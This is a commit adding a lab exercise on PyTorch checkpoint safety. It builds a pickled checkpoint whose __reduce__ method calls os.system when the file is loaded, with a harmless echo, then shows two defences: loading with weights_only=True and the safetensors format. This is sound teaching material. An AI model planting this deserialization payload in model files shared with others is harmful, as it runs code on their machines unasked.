init commit

lab2/good_model.py

@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import torch
+import os
+
+class MaliciousPayload:
+    def __reduce__(self):
+        command = 'echo "\n[SECURITY WARNING] Arbitrary code executed successfully!\n"'
+        return (os.system, (command,))
+
+dummy_model_state = {
+    "weight": torch.randn(3, 3),
+    "bias": torch.randn(3),
+    "exploit": MaliciousPayload()
+}
+
+checkpoint_path = "compromised_model.pt"
+torch.save(dummy_model_state, checkpoint_path)
+print(f"Malicious checkpoint saved to {checkpoint_path}")

lab2/load_model.py

@@ -0,0 +1,11 @@
+#!/usr/bin/env python3
+import torch
+
+print("Attempting to load standard checkpoint (unrestricted)...")
+try:
+    # In older versions of PyTorch, weights_only defaulted to False. 
+    # This will trigger the __reduce__ exploit instantly upon reading.
+    loaded_data = torch.load("compromised_model.pt", weights_only=False)
+    print("Model loaded successfully (but the exploit already ran!).")
+except Exception as e:
+    print(f"Error occurred: {e}")

lab2/safe_tensor_sample.py

@@ -0,0 +1,19 @@
+#!/usr/bin/env python3
+from safetensors.torch import save_file, load_file
+import torch
+
+# 1. Clean data (safetensors strictly accepts ONLY a flat dictionary of tensors)
+clean_state_dict = {
+    "layer1.weight": torch.randn(5, 5),
+    "layer1.bias": torch.randn(5)
+}
+
+# 2. Saving to safetensors format
+safetensors_path = "model.safetensors"
+save_file(clean_state_dict, safetensors_path)
+print(f"Successfully migrated weights to {safetensors_path}")
+
+# 3. Loading back safely
+# No flags needed; it is fundamentally impossible to embed a pickle exploit here
+safe_loaded_data = load_file(safetensors_path)
+print("Safetensors file loaded with absolute mathematical safety.")

lab2/securely_load.py

@@ -0,0 +1,9 @@
+#!/usr/bin/env python3
+import torch
+
+print("\nAttempting to load with weights_only=True...")
+try:
+    loaded_data = torch.load("compromised_model.pt", weights_only=True)
+    print("Model loaded safely.")
+except Exception as e:
+    print(f"\n[SAFE] PyTorch blocked the exploit! Error: {e}")